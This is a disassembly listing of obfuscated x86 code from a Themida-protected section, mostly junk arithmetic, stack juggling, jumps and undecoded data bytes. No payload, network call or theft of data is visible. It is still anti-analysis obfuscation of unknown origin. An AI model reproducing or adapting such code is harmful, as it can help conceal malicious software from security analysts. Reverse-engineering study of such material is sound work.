		mov	edx, 2BF65996h
		mov	ebp, 69CE35BCh
		xor	ebp, edx
		pop	edx
		jmp	loc_547ED8
; ---------------------------------------------------------------------------
		dd offset dword_56C180
aSol		db 'яИol',0
		dd 24048F00h, 6624248Bh, 0E924148Bh, 32D3h, 0FFEEF9E9h
		dd 0E9E389FFh, 570Eh, 2EA1BA52h, 0D0895647h, 6E8C15Ah
		dd 0C106E8C1h, 54802E0h, 0FFEA6E3Dh, 5897E981h,	0C1017BC2h
		dd 496CE9h, 4EC8100h, 89000000h, 74FF242Ch, 8DE90424h
		dd 53000091h, 5C26ADBBh, 661FE947h, 0CAB00000h,	6B28E9h
		dd 22CA6800h, 2C890000h, 1CCEBD24h, 0BB53326Dh,	3AB51B2Dh
		dd 0E95BDD21h, 7A21h, 5D4BE2BDh, 0E9EB8948h, 4A70h, 815BDE29h
		dd 0E614A0C3h, 81F3010Dh, 0E614A0EBh, 24348B0Dh, 4C481h
		dd 0BD550000h, 2AF67232h, 2C8BEB01h, 4C48324h, 1CE9EB81h
		dd 0C3012EDDh, 0A60E9h,	0E9F80100h, 0A310h, 0C181E189h
		dd 4, 4C181h, 0C870000h, 0C97E924h, 0C3280000h,	56A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_545761:				; CODE XREF: Themida_:005468FAj
		mov	ebp, 54723C34h
		xor	ebp, 2B8E5910h
		push	edx
		mov	edx, 5D6F2A97h
		sub	edx, 13B2092Dh
		neg	edx
		and	edx, 47DB7602h
		neg	edx
		add	edx, 670495FBh
		xor	ebp, edx
		pop	edx
		xor	ebp, 1F3E5A5Dh
		jmp	loc_5475BF
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0FE7830EAh, 556E92Bh, 0E3E90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5457A7:				; CODE XREF: Themida_:0054A7D3j
		mov	[esp], ebx
		push	edi
		push	2E78h
		mov	[esp], ecx
		push	2BEEh
		mov	[esp], esi
		jmp	loc_5469B1
; ---------------------------------------------------------------------------
		dd 0FFEDC5E9h, 46E951FFh
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5457CB:				; CODE XREF: Themida_:00545C81j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_548728
; ---------------------------------------------------------------------------
aS_6		db '\Ищ+',0
		dw 8000h
		dd 6DE9FDC5h, 0FF0000A5h, 10E92434h, 520000AEh,	0FFF6A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5457F5:				; CODE XREF: Themida_:0054D8C9j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_545446
; ---------------------------------------------------------------------------
		db 5Eh,	33h, 1Ch
		dd 241C3124h, 2504E9h
		db 0
; ---------------------------------------------------------------------------


loc_545821:				; CODE XREF: Themida_:0054AA3Aj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_547D35
; ---------------------------------------------------------------------------


loc_54583D:				; CODE XREF: Themida_:005481CEj
		dec	ecx
		sub	ecx, 840A8005h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5467A6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 3C066800h, 34890000h, 4BE24h, 0F3010000h, 241C335Eh
		dd 33241C31h, 835C241Ch, 0BD5504C4h, 76280CCBh,	4244481h
		dd 55702663h, 4246C81h,	10644484h, 4244481h, 7F69031Dh
		dd 4246C29h, 31DB850h, 4DE97F69h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5458A3:				; CODE XREF: Themida_:0054FF12j
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_54E3EB
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8704C483h, 248B243Ch, 0CFF6624h, 0C3E99C24h,	0F6FFFFECh
		dd 0AB450D2h, 8058E200h, 76E9D0EAh, 87FFFFFAh, 56E9241Ch
		dd 0E9000011h, 0FFFFECA6h, 0CCD4BF57h, 0F901265Fh, 59CB895Fh
		dd 0F8CB814Bh, 55789E72h, 6F646852h, 815A0457h,	803104EAh
		dd 64CEE945h, 0F5BD0000h, 0E959AE21h, 688Eh
; ---------------------------------------------------------------------------


loc_545914:				; CODE XREF: Themida_:0054D7A9j
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		sub	ebx, 4
		push	ebx
		jmp	loc_5446E3
; ---------------------------------------------------------------------------
		dw 0FE58h
		dd 68D6F6CEh, 65C5h, 50240C89h,	73B14CB0h, 802BC180h, 4AE915C1h
		dd 3000005Bh, 0D80059CBh, 0A9E95B66h, 4000043h,	0D82859FDh
		dd 0FFF4DEE9h, 25E9ACFFh, 66000050h, 0E924048Bh, 0A19Fh
		dd 0A203ADB9h, 8BCD3134h, 23E9240Ch, 5D00008Ah,	211668h
		dd 243C8900h, 6C1ACF68h, 2434FF4Dh, 9119E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545992:				; CODE XREF: Themida_:0054D254j
		neg	eax
		jmp	loc_547520
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 405E089h,	2D000000h, 4, 5C240487h, 53241489h
		dd 52BEE9h, 0FFC82000h,	52592434h, 2A6DE9h, 0CBC68100h
		dd 4E1DDB2Ah, 0A8E95246h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5459D3:				; CODE XREF: Themida_:0054F289j
		add	ecx, edx
		pop	edx
		push	eax
		mov	eax, 2
		add	ecx, eax
		jmp	loc_54C27C
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 24248B24h, 240C8966h, 0C8B60F66h,	0E99C5166h
		dd 0FFFFEB8Eh, 0E9F80166h, 0FFFFFBC4h, 5C240C87h, 0E9242C89h
		dd 8DFCh
; ---------------------------------------------------------------------------


loc_545A10:				; CODE XREF: Themida_:00550462j
		mov	edx, 1A5D2233h
		dec	edx
		inc	edx
		and	edx, 6EEE26D5h
		jmp	loc_546E95
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 63E95324h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545A2B:				; CODE XREF: Themida_:0054E673j
		push	ecx
		jmp	loc_54796B
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 57A7E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545A3A:				; CODE XREF: Themida_:0054C72Ej
		pop	ecx
		mov	eax, ebx
		jmp	loc_550119
; ---------------------------------------------------------------------------


loc_545A42:				; CODE XREF: Themida_:0054B09Dj
		pop	ecx
		sub	ebp, 4BF01D56h
		sub	ebp, 231D5248h
		add	ebp, 18D015C3h
		jmp	loc_54BCAB
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 56000000h,	4BEh, 12C38100h, 295D9E1Ch, 12EB81F3h
		dd 5E5D9E1Ch, 0E9241C87h, 0FFFFF940h, 4EC835Ah,	0E9241489h
		dd 3EE9h
; ---------------------------------------------------------------------------


loc_545A8C:				; CODE XREF: Themida_:0054BDCBj
		sub	eax, 4
		jmp	loc_549F05
; ---------------------------------------------------------------------------
		dd 24048B66h, 5585450h,	4, 2F2EE9h
		db 0
; ---------------------------------------------------------------------------


loc_545AA5:				; CODE XREF: Themida_:005488FEj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54D4D0
; ---------------------------------------------------------------------------
		dd 1633E1BAh, 405BE92Bh, 0EC800000h, 32CC8020h,	0A0FAE9h
		dd 8CE95500h, 81000091h, 4C4h, 21CE8100h, 5202F54Eh, 0F0D9E953h
		dd 9FE9FFFFh, 0BEFFFFEAh, 40D4428Fh, 6F9D68h, 243C8900h
		dd 46593DBFh, 5FFE315Fh, 15EF329h, 0F429E9C3h, 95DFFFFh
		dd 0E94958C1h, 1B39h, 8704C583h, 0E95C242Ch, 50F3h
; ---------------------------------------------------------------------------


loc_545B20:				; CODE XREF: Themida_:005493CBj
		mov	al, 0C5h
		not	al
		and	al, 58h
		sub	al, 83h
		push	bx
		mov	bh, 0E4h
		add	al, bh
		pop	bx
		xor	al, 22h
		sub	cl, al
		pop	eax
		add	cl, 0Fh
		not	cl
		not	cl
		xor	cl, 2Ch
		mov	ah, cl
		jmp	loc_54D12B
; ---------------------------------------------------------------------------
		dw 0E983h
		dd 240C8704h, 8924248Bh, 46E92404h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545B57:				; CODE XREF: Themida_:00547973j
		and	eax, edx
		pop	edx
		shr	eax, 0Bh
		xor	ecx, eax
		push	17E9h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	61FEh
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	eax, 408D5AF0h
		add	eax, 41B52427h
		add	eax, ebx
		jmp	loc_544731
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 504C483h, 4,	3302C083h, 4312404h, 5CF0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545BAE:				; CODE XREF: Themida_:005475BAj
		push	3407h
		jmp	loc_54CD80
; ---------------------------------------------------------------------------
		dd 0CBE99C50h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545BBF:				; CODE XREF: Themida_:0055005Dj
		add	esp, 4
		jmp	loc_54F55A
; ---------------------------------------------------------------------------
		db 0FFh
a4Shy		db '4$ИHy',0
		dw 5200h
		dd 241165BAh, 7412E912h, 0C1810000h, 2004687h, 1AF3685Bh
		dd 0C890000h, 2474FF24h, 48F5904h, 4895C24h, 4B824h, 0B8500000h
		dd 50C52000h, 8244401h,	24440158h, 246C8104h, 0C5200004h
		dd 30E95850h, 0BE000073h, 53E74690h, 0FFF221E9h, 32B353FFh
		dd 525BDE88h, 0E939B450h, 5876h, 492C22B7h, 20AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_545C39:				; CODE XREF: Themida_:0054ECBCj
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]


loc_545C5C:				; CODE XREF: Themida_:loc_544EE2j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		mov	edx, edi
		jmp	loc_5457CB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0EC835804h, 24148904h, 8904EC83h, 0D568242Ch, 5D14F21Eh
		dd 0FCB9C581h, 5A5553DFh, 56242C8Bh, 0C681E689h, 4, 0E904C683h
		dd 6461h, 83585450h, 3C8904ECh,	4BF24h,	0E050000h, 1378506h
		dd 6848E9F8h, 895C0000h, 0E389241Ch, 4EC8356h, 68243C89h
		dd 2CAA25FFh, 1BE7815Fh, 4F2BA713h, 74DEF781h, 0E9572BD5h
		dd 5624h, 5E41C381h, 0D3012E07h, 0EDE9E957h, 248BFFFFh
		dd 6EAC124h, 194DF281h,	0EBE9531Ah, 29000068h, 3C875DEFh
		dd 3C895C24h, 1D6824h, 8F540000h, 4832404h, 3C8B0424h
		dd 4C48124h, 50000000h,	4B951h,	0D5E90000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545D43:				; CODE XREF: Themida_:0054CEC9j
		pop	ebx
		jmp	loc_5464E7
; ---------------------------------------------------------------------------
		db 21h,	0F0h, 0FFh
a4Vichaj	db '4$^V┴ФhaJ',0
		dw 8900h
		dd 68532414h, 5AC626C3h, 3C2FE95Bh, 1C330000h, 241C3124h
		dd 0E9241C33h, 88E1h, 38F3B951h, 0CE3178E9h, 79EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_545D81:				; CODE XREF: Themida_:00549580j
		add	esp, 4
		push	ecx
		jmp	loc_54DA6B
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 0FFFA56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545D99:				; CODE XREF: Themida_:0054628Cj
		or	eax, eax
		jnz	loc_546082
		push	1
		mov	edx, [esp]
		jmp	loc_547633
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0ACB95104h, 0F70D3225h, 42F0E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545DBE:				; CODE XREF: Themida_:00547648j
		pop	ebx
		push	6670h
		mov	[esp], edi
		push	eax
		jmp	loc_54F222
; ---------------------------------------------------------------------------
		db 66h,	68h, 0D0h
		dd 6654661Dh, 8324048Fh, 896602ECh, 0EC81241Ch,	2, 0D30E9h
		dd 4EC8100h, 0E9000000h, 0A34Ch
; ---------------------------------------------------------------------------


loc_545DF4:				; CODE XREF: Themida_:0054D54Aj
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5484B0
; ---------------------------------------------------------------------------


loc_545E05:				; CODE XREF: Themida_:0054CA67j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_54A464
; ---------------------------------------------------------------------------
		db '\h╢|',0
		align 2
		dw 1C89h
		dd 4EC8324h, 0BE243489h, 22D30ED8h, 27A768h, 5DDBE900h
		dd 0C4810000h, 4, 51A2E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545E3A:				; CODE XREF: Themida_:00547F1Dj
		mov	ecx, [esp]
		jmp	loc_54E63F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FE48F381h, 0D8014ACBh, 4A91E95Bh, 81590000h, 2C7h
		dd 243C8700h, 9CC8845Ch, 0FFE721E9h, 5E7C1FFh, 0E124F781h
		dd 0DDE9FD27h, 0FF000065h, 0E9042474h, 0FFFFE897h, 24048B66h
		dd 48B5450h, 4C48124h, 0E9000000h, 3D47h, 5104C483h, 4F89D989h
		dd 1C8B5920h, 0E3895324h, 2F91BA52h, 0F2816C64h, 6C642F95h
		dd 148BD301h, 4C48124h,	81000000h, 4C3h, 241C8700h, 473A685Ch
		dd 6DE90000h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545ECF:				; CODE XREF: Themida_:0054DDEDj
		push	esi
		jmp	loc_54FC1C
; ---------------------------------------------------------------------------
		db 68h,	0F9h, 45h
		dd 4A5A04F0h, 711EE9h, 9AE94A00h, 83FFFFF0h, 1C8904ECh
		dd 4EC8324h, 0E9241489h, 47BAh,	4EC81h,	4890000h, 3DC9E924h
		dd 0C2810000h, 0DA55332h, 0CEAC281h, 3FE929CDh
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545F17:				; CODE XREF: Themida_:005496E1j
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		not	edx
		jmp	loc_54B384
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0C2815A54h, 4, 5204C283h, 73F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_545F49:				; CODE XREF: Themida_:00548A57j
		mov	eax, 14A10040h
		add	esi, eax
		pop	eax
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 518C0A99h
		shr	eax, 2
		jmp	loc_547918
; ---------------------------------------------------------------------------
		db 0ACh, 68h, 89h
		dd 89000014h, 0E953240Ch, 2FBh,	0EC835A66h, 19A7E904h
		dd 0EC830000h, 240C8904h, 6C685552h, 5D46A30Ch,	0C106EDC1h
		dd 0C58102E5h, 539FE4B7h, 0F75DEA89h, 68DAF7DAh, 3FDCh
		dd 68240489h, 580A1577h, 58C22958h, 75FCE9h, 7BAE6800h
		dd 0C890000h, 0E991B124h, 0FFFFEDFBh, 0C7FE59B7h, 0F697EF80h
		dd 4EFC0DFh, 8005E7C0h,	0FC8830F7h, 0FFEDB4E9h,	66645CFFh
		dd 9FE90289h, 8BFFFFE5h, 0B9E9240Ch, 80000057h,	0C580AECDh
		dd 59EB2867h, 52FAEB80h, 0C380F2B2h, 0E9D32856h, 8D7Ah
		dd 0FEB8h, 1C472100h, 5812E9h, 0D4685900h, 8900003Fh, 2BE2434h
		dd 81000000h, 0E47988C3h, 52F30164h, 7922E5BAh,	3EC0E92Eh
		dd 665B0000h, 583BC581h, 66DDF766h, 66526645h, 664F37BAh
		dd 5A66D529h, 3E5C166h,	3BC58166h, 0BD665551h, 0F7667BFAh
		dd 664D66DDh, 6B4BED81h, 5DE80166h, 5E6EE9h, 88505900h
		dd 0E68852D4h, 88F08850h, 0EF61E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546082:				; CODE XREF: Themida_:005452EEj
					; Themida_:00545D9Bj ...
		sub	esp, 4
		jmp	loc_54E6DA
; ---------------------------------------------------------------------------
aH3		db ',ж(ьh*3',0
		dw 8900h
		dd 2CE9240Ch, 8100003Ch, 4C4h, 0E0685F00h, 89000010h, 2EBB241Ch
		dd 0E9562B47h, 0FFFFF56Eh, 5C240C87h, 581EB951h, 0D9F765C8h
		dd 0A03AE9h, 47033500h,	0C2893B8Eh, 0E9D10158h,	565h, 555EF109h
		dd 0E904EC83h, 0A56Ch, 52240C89h, 5B00E9h, 0C9E95200h
		dd 1FFFFF9h, 0EC815BD8h, 4, 89240489h, 208AE9E0h, 0DAB50000h
		dd 285AD500h, 0C8B66EBh, 0E9545024h, 0FFFFFA81h, 0BA52E789h
		dd 65BB5D87h, 92D0F792h, 486EEA81h, 0F281587Ah,	41CA5A0Eh
		dd 4587C781h, 0D7010875h, 4587B951h, 0CF290875h, 92E95A59h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546143:				; CODE XREF: Themida_:00544DBEj
		push	esi
		mov	esi, 0A0F500Fh
		sub	ebx, esi
		pop	esi
		sub	ebx, 1DC852B1h
		push	3DB5h
		mov	[esp], edx
		jmp	loc_5494B0
; ---------------------------------------------------------------------------
		db 66h
		dd 5124048Bh, 0C1815954h, 4, 80AE9h
		db 0
; ---------------------------------------------------------------------------


loc_546171:				; CODE XREF: Themida_:0054960Aj
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_544B72
; ---------------------------------------------------------------------------


loc_54618C:				; CODE XREF: Themida_:0054E9AFj
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_54ABE5
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0E9h
		dd 812EDD1Ch, 0F67232EBh, 0FEB812Ah, 813EC963h,	64466CEBh
		dd 725D6805h, 1C890000h, 0E95B5424h, 24CDh, 0FF240489h
		dd 58042474h, 8B24048Fh, 4082424h, 0AFE99C24h, 66FFFFE3h
		dd 5024048Bh, 59E95854h, 57000013h, 715FE9h, 4C48100h
		dd 81000000h, 2D738FC3h, 57FB0172h, 3D5562BFh, 35BB532Ah
		dd 214E057Fh, 0F04AE9DFh, 1C8BFFFFh, 4C48124h, 66000000h
		dd 0C5E95059h, 89000096h, 4B951E3h, 81000000h, 5B68B6EBh
		dd 0BEEB811Ch, 81419A33h, 155D5FC3h, 81CB0159h,	155D5FEBh
		dd 46F6E959h, 8B660000h, 0D682404h, 8900005Eh, 5D54242Ch
		dd 53BEE9h, 4EC8300h, 0E9240489h, 27C8h
; ---------------------------------------------------------------------------


loc_546264:				; CODE XREF: Themida_:0054DB65j
		xor	ebx, ecx
		jmp	loc_54E7CB
; ---------------------------------------------------------------------------
aL4Swm		db '▀4$ИWM',0
		dw 0B300h
		dd 0E93AB54Bh, 9C01h
; ---------------------------------------------------------------------------


loc_54627C:				; CODE XREF: Themida_:0054DA18j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_545D99
; ---------------------------------------------------------------------------


loc_546291:				; CODE XREF: Themida_:0054BDF7j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	95Dh
		jmp	loc_54A4EA
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 419589Dh, 0D8E99C24h, 6800001Bh, 330h, 0E9240C89h, 3B4Dh
		dd 0F1BFE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5462C2:				; CODE XREF: Themida_:0054725Dj
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_547553
; ---------------------------------------------------------------------------
		db 5Eh,	35h, 0CCh
		dd 313546ACh, 24048BC2h, 4C481h, 89E90000h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5462E7:				; CODE XREF: Themida_:0054BCDCj
		push	eax
		jmp	loc_54F8EE
; ---------------------------------------------------------------------------
		db 0B8h, 0EFh, 15h
		dd 0C2317D44h, 0FFB95158h, 1FFFFFFh, 4C4BE9CAh,	0C6880000h
		dd 240FE9h, 2CF00000h, 0F9B7539Ch, 80C8CF80h, 0F8280CEFh
		dd 1FC2E9h, 24048900h, 4B8h, 1083E900h,	0EC830000h, 24048904h
		dd 0B6717B8h, 0B960BA2Fh, 0BD552A75h, 38034DDCh, 815DEA01h
		dd 0E20DB6EAh, 81C20127h, 0E20DB6C2h, 0DCEA8127h, 5838034Dh
		dd 429BBF57h, 0B9514F4Dh, 4220294Dh, 17DEE981h,	0CA0116E9h
		dd 88D9E9h, 41EE2D00h, 0E95062DFh, 0FFFFECFBh, 1EE81h
		dd 0EE810000h, 1EAD37D3h, 0B4C68146h, 29549917h, 0C2815EF2h
		dd 2FA71C17h, 0F706E2C1h, 18F281DAh, 298C7BB7h,	0F8015AD0h
		dd 7F3BD805h, 93DBE95Fh, 34FF0000h, 2434FF24h, 48DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5463BD:				; CODE XREF: Themida_:0054DF77j
		sub	edx, 717C331Fh
		shl	edx, 7
		not	edx
		push	ebp
		mov	ebp, 957CEEFBh
		sub	edx, ebp
		pop	ebp
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		push	4E10h
		mov	[esp], edx
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54F7C4
; ---------------------------------------------------------------------------
		db 5Ch,	0F7h, 0D7h
		dd 9707EFC1h, 4E9D8F7h,	5000030h, 4, 5C240487h,	6D6EEB81h
		dd 0FD6824CEh, 8900002Fh, 0CF68243Ch, 5F350D76h, 2122E947h
		dd 0D8290000h, 45ABE9h,	0E92A2C00h, 441Ah, 8924248Bh, 0D9E9243Ch
		dd 1FFFFFCh, 5A64E9FBh,	815E0000h, 0F36AC3C3h, 0ABC3811Bh
		dd 11C2911h, 5B42E9F3h,	0E9530000h, 0D05h, 4247429h, 4244481h
		dd 7AB05234h, 4246C81h,	6CD146D5h, 8324348Bh, 0BF5704C4h
		dd 0AEB1196h, 12DAE9h, 4EAC100h, 6CDBF281h, 7E90E85h, 5A000077h
		dd 4EC81h, 14890000h, 46824h, 148B0000h, 4C48324h, 148BD601h
		dd 4C48124h, 33000000h,	34312434h, 24343324h, 8360E9h
		dd 81C32900h, 0D87E47C3h, 0F1BB535Bh, 81643A56h, 32880C3h
		dd 0BD555624h, 29EC47EBh, 0DCE9EE89h, 5200009Ah, 0D1E931B6h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5464E7:				; CODE XREF: Themida_:00545D44j
		push	ebx
		jmp	loc_5447E8
; ---------------------------------------------------------------------------
		db 68h,	4Ah, 72h
		dd 36E90000h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5464F7:				; CODE XREF: Themida_:005470E5j
		pop	dword ptr [esp]
		jmp	loc_546A09
; ---------------------------------------------------------------------------
		db 1
		dd 0ED8158C5h, 4, 0FFE512E9h, 4C483FFh,	4562972Dh, 5D82965h
		dd 65456297h, 8DEFE9h, 2434FF00h, 4EC835Ah, 89243489h
		dd 4C681E6h, 83000000h,	0FF5604C6h, 5E042474h, 5C24048Fh
		dd 0C6E9D089h, 81FFFFE4h, 0B4238BEFh, 4FE95D28h, 58000086h
		dd 0FAE9F828h, 5300004Dh, 6E8E6852h, 0E95A24FEh, 7F40h
		dd 0A6BD555Ah, 153B252h, 8B04246Ch, 0C481242Ch,	4, 0E9240401h
		dd 6BB8h, 4EC81h, 14890000h, 56E28924h,	468h, 8EADE900h
		dd 2C8B0000h, 4C48324h,	15AD189h, 4DB3E9CFh, 148B0000h
		dd 0F890E924h, 3C8BFFFFh, 4C48124h, 83000000h, 0CFE904C6h
		dd 6600000Dh, 0E924048Bh, 2026h, 240C8B66h, 8904EC83h
		dd 0C0E92404h, 8B000045h, 0C4832434h, 7EE2E904h, 0C0830000h
		dd 54CD2D01h, 0C30113D7h, 8324048Bh, 0C38304C4h, 74FF5302h
		dd 1C8B0424h, 4C48324h,	8B24048Fh, 8B662424h, 0E9512404h
		dd 79C6h, 81595451h, 4C1h, 4BF5700h, 0E9000000h, 7095h
		dd 0E95BDE89h, 1CEAh, 243C8B5Bh, 0CE9h,	0C335A00h, 240C3124h
		dd 0FFE9F4E9h, 0E38953FFh, 2CFE9h, 5BDD0100h, 0E9242C87h
		dd 2232h, 8B04C483h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54AA27
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8952240Ch, 4C281E2h,	81000000h, 4EAh, 24143300h, 33241431h
		dd 99E92414h, 0FFFFFFFDh, 0E95E2434h, 30E0h, 66242C89h
		dd 665F0DBDh, 2AF3F581h, 0E9EA2166h, 8A11h
; ---------------------------------------------------------------------------


loc_5466B4:				; CODE XREF: Themida_:005473FBj
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_54FA41
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8304C483h, 0CBE904ECh
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5466D3:				; CODE XREF: Themida_:005478BAj
		shl	edi, 3
		xor	edi, 507810C4h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 4
		push	eax
		push	esi
		mov	esi, 1658573Bh
		neg	esi
		and	esi, 598D7069h
		add	esi, 70EA59DDh
		xor	esi, 498568D2h
		add	esi, 4CA40877h
		mov	eax, esi
		pop	esi
		sub	eax, 73BD6A39h
		inc	eax
		shl	eax, 4
		neg	eax
		shl	eax, 5
		jmp	loc_54A238
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 105Dh, 32CE9h
		db 0
; ---------------------------------------------------------------------------


loc_546731:				; CODE XREF: Themida_:0054EE0Aj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_54D042
; ---------------------------------------------------------------------------
aTsW		db 'TИ©w',0
		dw 100h
		dd 24348BF3h, 8104C483h, 4C3h, 241C8700h, 2024055Ch, 0D8291CC9h
		dd 4ACBD55h, 1DE93235h,	89FFFFE9h, 0B1E957C7h, 0ADFFFFFEh
		dd 774868h, 241C8900h, 2B4335BBh, 4030055Fh, 0D829451Ah
		dd 1A40302Dh, 0FF27E945h, 0E3C0FFFFh, 34B8E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5467A6:				; CODE XREF: Themida_:0054584Ej
		mov	[esp], ebx
		mov	ebx, 247556E4h
		dec	ebx
		add	ebx, 6187114Eh
		push	6D66h
		mov	[esp], edx
		mov	edx, 0E5523ADh
		push	edx
		xchg	ebx, [esp]
		not	ebx
		jmp	loc_547978
; ---------------------------------------------------------------------------


loc_5467CD:				; CODE XREF: Themida_:0054EEFCj
		add	esp, 4
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_54A6FF
; ---------------------------------------------------------------------------
		db 58h,	53h, 0BBh
		dd 544D34BDh, 0E903E3C1h, 82EEh
; ---------------------------------------------------------------------------


loc_5467EC:				; CODE XREF: Themida_:0054805Fj
		xor	ecx, 3F932BCFh
		xchg	esi, ecx
		inc	esi
		xchg	esi, ecx
		jmp	loc_54B6BF
; ---------------------------------------------------------------------------
		dd 0EAE9F088h, 0F7000059h, 0DEC281DAh, 10C671Ch, 5323E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546812:				; CODE XREF: Themida_:0054789Dj
		pop	ecx
		jmp	loc_54B7C1
; ---------------------------------------------------------------------------
aQbFisnd	db 'Q│,$╣[ДIИnD',0
		dd 63B95100h, 0BA1B4438h, 0E4BBC7A1h, 8159CA01h, 0B55F2DC6h
		dd 81D62968h, 0B55F2DEEh, 17F5E968h, 0C890000h,	53595424h
		dd 4DD3B951h, 0D1F70204h, 4104E1C1h, 6A2FC981h,	81E92404h
		dd 68FFFFF0h, 6293h, 0E9242489h, 0FFFFE389h, 5B66DE30h
		dd 156268h, 240C8900h, 0C1FEA9B1h, 8057E980h, 0E18012C9h
		dd 29C3E9CFh, 0E3890000h, 4C381h, 0EB830000h, 34E6E904h
